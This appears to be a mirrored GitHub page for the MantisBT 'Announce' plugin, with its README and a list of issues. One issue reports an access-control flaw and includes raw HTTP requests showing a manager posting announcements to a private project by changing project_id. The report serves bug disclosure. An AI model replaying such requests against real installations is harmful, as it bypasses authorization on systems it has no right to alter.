GithubHelp home page GithubHelp logo

mantisbt-plugins / announce Goto Github PK

View Code? Open in Web Editor NEW
20.0 11.0 14.0 285 KB

Announcements plugin for MantisBT, lets privileged accounts create and post announcements that can be shown to users on a global or per-project basis, and allow users to dismiss individual messages.

License: MIT License

PHP 88.34% CSS 0.78% JavaScript 10.88%

announce's Introduction

Announcements plugin for MantisBT

Copyright (c) 2010 John Reese - http://noswap.com
Copyright (c) 2017 Damien Regad

Released under the MIT license

See the Changelog.

Description

Lets privileged accounts create and post announcements that can be shown to users on a global or per-project basis, and allow users to dismiss individual messages.

Requirements

  • MantisBT 2.3.0 or above

If you need compatibility with older releases of MantisBT, please use legacy versions of the plugin, as per table below:

MantisBT version Plugin version
1.3 1.0.0
1.2 0.3

Installation

  1. Install the plugin's code
    • From a zip/tarball
      1. Download the plugin's latest release from GitHub
      2. Create a new directory Announce (note the capital 'A', it's case-sensitive) under MantisBT's /plugins directory
      3. Extract all files into the new directory
    • From the source repository
      In MantisBT's /plugins directory, clone the repository
      git clone https://github.com/mantisbt-plugins/Announce
      
  2. Go to Manage -> Manage Plugins and install the plugin.

Usage

A new Announcements item is added to the Manage menu, as shown in the following screenshot.

Manage Announcements

From there, new announcements can be added, targeted at All Projects or a specific one, restricted by access levels and limited in time. Existing announcements can be edited and deleted.

Manage Announcements

At this time, the Announcements can only be displayed at the top of the page (Location = Page Header), like in the example below. In the future, other options may be added.

Manage Announcements

The Configuration page lets the Administrator determine what access levels are allowed to manage announcements.

Manage Announcements

Support

The following support channels are available if you wish to file a bug report, or have questions related to use and installation:

announce's People

Contributors

aeris1one avatar amyreese avatar atrol avatar bascy avatar dregad avatar jotacamara avatar kirenotneb avatar shenxihui avatar sieuwe avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

announce's Issues

Cannot Dimiss

Clicking the "X" does not dismiss the announcement, though the dismiss flag is checked.
No errors produced.

The old announcments sometimes will show

Sometimes old announcments will showing again,which those announcments were exceeded the "time of live".
I use the newest version 2.4.0 of Ammounce with Mantisbt 2.17.0.

Doesn't look like TTL is honored

I have created an announcement with a TTL of 60 (seconds). The announcement started showing, but it continued to show even after the 60 seconds expired. I marked the announcement as dismiss-able, but never dismissed it.

PHP Notice in Announcements list

If the database contains an invalid Location in the context table, an error message is triggered:

SYSTEM NOTICE: 'Undefined index: Invalid Location' in '/home/dregad/dev/plugins/announce/pages/list.php' line 101

DB error 401 when installing on PostgreSQL

HI there
I have mantis bt running just fine on a Windows server. Using postgresql as the db
Now I am trying to load up some plugins like your announce, and I am getting this error
APPLICATION ERROR #401
Database query failed. Error received from database was #-2: ERROR: syntax error at or near "d"
LINE 1: DELETE d.*
^ for the query: DELETE d.*
FROM BT_plugin_Announce_dismissed_table d
LEFT JOIN BT_plugin_Announce_context_table c on c.id = d.context_id
WHERE c.id IS NULL.
Please use the "Back" button in your web browser to return to the previous page. There you can correct whatever problems were identified in this error or select another action. You can also click an option from the menu bar to go directly to a new section.

Do you know how I can fix this and get your plugin to work for me?

Possibility for more control over dismissability of banner

Currently at the top of the FreeCAD mantisbt we use the announce plugin (as an intrusive banner) to educate users how to open tickets. It's cut down immensely on crap tickets that are hastily opened and hopelessly incomplete. The problem is that users can dismiss this banner and then forget in the future to follow the directions. If we make the banner indissmissable, then all the power users are subject to this enormous banner taking up screen real-estate.

The ask: Would it be possible to create a rule that makes the banner indismissable to reporters, and dismissable to everyone with a higher permission ?

Announcement menu is not shown for users with Developer role

Hi,
I have installed the Announcement plugin,and it works like a Charm.However even though in the configuration option I have given the rights to "Developer" role,the announcements tab is not appearing for the Developer profile.
Kindly check.

APPLICATION ERROR #401 using announce plugin

Running MantisBT 2.13.1 with most up to date Announce plugin.

Just tested it. I added an options for each role as per the screenshot:
image

Steps to reproduce:

  1. click the + column
  2. add a rule for each user role
  3. repeat step 1 & 2 for each role
  4. When done press 'Edit' to finalize

I get this error:

APPLICATION ERROR #401

Database query failed. Error received from database was #1062: Duplicate entry '2-0-header' for key 'idx_plugin_announce_context' for the query: INSERT INTO mantis_plugin_Announce_context_table
(
message_id,
project_id,
location,
access,
ttl,
dismissable
) VALUES (
?,
?,
?,
?,
?,
?
).
Please use the "Back" button in your web browser to return to the previous page. There you can correct whatever problems were identified in this error or select another action. You can also click an option from the menu bar to go directly to a new section.

Edit:
This error also occurs when submitting more than 1 entry

Impossible to set new Context's as not dismissable

When submitting the form, the following error message is triggered:

Database query failed. Error received from database was #1048: Column 'dismissable' cannot be null for the query:
INSERT INTO mantis_plugin_Announce_context_table
(message_id,project_id,location,access,ttl,dismissable)
VALUES
(?,?,?,?,?,?).

Selecting current value from locations option list does not work

check_selected() echoes the selected attribute and returns void, so the foreach loop's code in print_location_option_list() generates invalid HTML, like

selected="selected"<option value="header" >Page Header</option>

instead of

<option value="header" selected="selected">Page Header</option>

Text processing for display destroy A tag content

Hi,
It is allowed (and that's nice!) to enter some HTML tags in the text (and even in the title) of the announce we want to have displayed.
However, trying to add a <a> tag, the result is modified and, especially, the text between <a> and </a> tags is lost.
E.g.:
<a href="https://***/workflow-mantis.png" target="_blank">Workflow</a>
becomes
<a href="https://***/workflow-mantis.png">https://***/workflow-mantis.png</a>

I know the target attribute is not officially supported by HTML5 (however widely used, still) so I may understand it remains filtered.

Kind regards,
Jérôme

Consistently set default value preselection in Locations lists

Currently, the plugin only handles a single Location type (header).

When creating a new announcement, the code preselects the only available value in the Location list whereas in the Edit Announcements page, when clicking on the + button to add a new context, the selection list defaults to (select one) even though there is only a single value to choose from.

This inconsistent behavior should be fixed. When the system only defines a single location type, it should always be preselected.

Time to Live does not work

Message does not disappear after waiting the configured number of seconds

Using current master branch of Mantis

Error in browser console

[Error] Announcement dismissal failed – {error: SyntaxError: JSON Parse error: Unexpected EOF, request: "xmlhttprequest.php?entrypoint=plugin_announce_dismiss&context_id=2"}
{error: SyntaxError: JSON Parse error: Unexpected EOF, request: "xmlhttprequest.php?entrypoint=plugin_announce_dismiss&context_id=2"}Object
	error (plugin_file.php:50)
	i (jquery-2.2.4.min.js:2:27157)
	fireWith (jquery-2.2.4.min.js:2:27916)
	z (jquery-2.2.4.min.js:4:12095)
	(anonyme Funktion) (jquery-2.2.4.min.js:4:15621)

Resource interpreted as Stylesheet but transferred with MIME type text/html

Resource interpreted as Stylesheet but transferred with MIME type text/html: "http://192.168.1.111/bt/plugin_file.php?file=Announce/announce.css".
plugin_file.php?file=Announce/announce.js:1

Also when I looked in the browser F12 tools, I saw this error.

ALso when I tried to get a different plugin working Taskodrome, I think it gave me similar errors like this in the F12 tools

I am using version 2.15.0 of the mantis bt software, and I am trying to use your older version 2.11. It installed this time, but now is giving these other others.

So after using the older version of your software, I was able to create an announcement, but up at the top of the page where it should be at, there is just like some whitespace all the way across the top of the page. And I believe that is where the message/announcement is supposed to be at. I suppose if its not loading the announce.css file correctly (due to the error message above), then of course the announcements will not look right. I would really like to use this plugin !! ;-)

Originally posted by @gamerboy11 in #40 (comment)

Growing dismissed table

I expect a quite fast growing dismissed table if a lot of users are using the system.

To prevent this, at least related entries should be deleted when deleting an announcement.

Blank page on manage plugin

Hi,

I meet some difficulties to install the plug in "Announce"... does anyone can help me ?

Here are my steps :

  • download the 2.4.1 version (.zip but it's the same with the tar.gz)
  • unzip the directory "Announce- 2.4.1"
  • rename the directory "Announce-2.4.1" by "Announce"
  • Copy it to the mantis directory plugin
  • Open mantis \ administration \ plugin (gérer les plugiciels)

=> the page is blank (except the menu), all my plugins (installed or not) are [masked)
=> if y modify the name of the directory "Announce" by "Announce-2.4.1" then the page works well but cannot find the plugin "Announce"

My Mantis Version is 2.5.1 (french)

Time to Live and Dismissable are not working properly

I've been creating announcements with TTL and after that time they haven't disappeared. Maybe I'm not using the functionality well. I was hoping that the user would stop seeing the messages after that time. Is that right?

On the other hand, when I click on the cross at the top right to discard the messages, nothing happens.

Non authenticated member can post a news to a private project

When the admin enable the news section a new stuffs will appear like the main field which will use for announcement/news. Some user can have access on it (manager). However it seems that a lot of security issue introduce here..

Description

This allows the attacker to post announcement on a private project even you are not part of it

Steps to produce

  • Create two projects public and private
  • enable the news
  • As admin post a news to that private project

Request

POST /mantisbt-2.24.3/plugin.php?page=Announce/create HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
Origin: http://localhost
Connection: close
Referer: http://localhost/mantisbt-2.24.3/plugin.php?page=Announce/list
Cookie: MANTIS_collapse_settings=|sidebar:0; MANTIS_VIEW_ALL_COOKIE=1; MANTIS_PROJECT_COOKIE=1; PHPSESSID=7usorjepb776qjidi5qsg8elb8; MANTIS_secure_session=0; MANTIS_STRING_COOKIE=c16e1a2abfe29f2ae0cd4722fa1d69c8883f2fb7ed79ca412b5b72293cb1e84b; MANTIS_MANAGE_USERS_COOKIE=0%3Ausername%3AASC%3A0; MANTIS_BUG_LIST_COOKIE=9
Upgrade-Insecure-Requests: 1

plugin_Announce_create_token=20201002ulRDzusShT_qtfzjQvzOJrSdwaEg2G05&title=AWESOME+NEWS+FOR+PRIVATE+PROJECT&message=AWESOME+NEWS+FOR+PRIVATE+PROJECT&location=header&project_id=1&access=10&ttl=0&dismissable=on

Response

HTTP/1.1 302 Found
Date: Fri, 02 Oct 2020 11:27:50 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.0.2s PHP/7.1.33
X-Powered-By: PHP/7.1.33
Cache-Control: no-store, no-cache, must-revalidate
Last-Modified: Fri, 02 Oct 2020 11:27:51 GMT
Set-Cookie: MANTIS_collapse_settings=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
X-Content-Type-Options: nosniff
Expires: Fri, 02 Oct 2020 11:27:51 GMT
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; style-src 'self' 'unsafe-inline'; script-src 'self'; img-src 'self' 'self' data:
Location: http://localhost/mantisbt-2.24.3/plugin.php?page=Announce/list
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8
  • Here I using a private project with project_id of 1

Manager as attacker

  • Create a new announcement

Request

POST /mantisbt-2.24.3/plugin.php?page=Announce/create HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 233
Origin: http://localhost
Connection: close
Referer: http://localhost/mantisbt-2.24.3/plugin.php?page=Announce/list
Cookie: MANTIS_collapse_settings=|monitored:1; MANTIS_VIEW_ALL_COOKIE=2; MANTIS_PROJECT_COOKIE=2; PHPSESSID=24tihn6miqrj33tjrdleo94ef4; MANTIS_secure_session=0; MANTIS_STRING_COOKIE=v7kQ0OCxCPCnyNcBXEGWqV5Oj4UaowOhahhT0UBedcplivtLAgZS-zGkJQOFiIMj; MANTIS_BUG_LIST_COOKIE=5%2C1%2C4
Upgrade-Insecure-Requests: 1

plugin_Announce_create_token=20201002mANdg2UBhW7V-buExLRrPmNcxZ3HrCN2&title=This+is+some+announcement+for+public+project&message=This+is+some+announcement+for+public+project&location=header&project_id=0&access=10&ttl=0&dismissable=on

Response

HTTP/1.1 302 Found
Date: Fri, 02 Oct 2020 11:35:36 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.0.2s PHP/7.1.33
X-Powered-By: PHP/7.1.33
Cache-Control: no-store, no-cache, must-revalidate
Last-Modified: Fri, 02 Oct 2020 11:35:36 GMT
Set-Cookie: MANTIS_collapse_settings=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
X-Content-Type-Options: nosniff
Expires: Fri, 02 Oct 2020 11:35:36 GMT
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; style-src 'self' 'unsafe-inline'; script-src 'self'; img-src 'self' 'self' data:
Location: http://localhost/mantisbt-2.24.3/plugin.php?page=Announce/list
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8
  • Do the same thing but this time edit the project_id to any private project
  • Send it
  • The news will send to that private project

Some notes

These are the stuffs that I observe but I am not sure if this is just part of the configuration feature (this can be prevent if the admin just set the configuration to admin..)

Delete news for private project

  • allows the manager to delete the news/announcement for that private project

View the private project name

  • allows to disclose the private project name
    news

All these stuffs can be done after going to plugin.php?page=Announce/list I just add this information.... I believe these issues should be consider to fix/update

UI to edit or delete announcements is not user friendly

Having a selection list to pick the desired action and a Go button to submit it is not convenient when the user wants to execute an action other than the one selected by default - 3 clicks are needed instead of one.

selection_002

This could easily be replaced by 2 submit buttons, allowing direct access to each action.

Slider for multiple announcements

First of all, many thanks for this amazing plugin. Much appreciated!

Now, to my request:

When there are multiple announcements, one has to refresh the page to see the next one, and so on.

My humble request would be to create a sort of announcement slider where a user can simply view an announcement, dismiss, press next to view next one, and so on.

Maybe also add a setting where admin can choose to view them with most recent first, or oldest first, etc.

Otherwise thanks again!
Kind regards.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.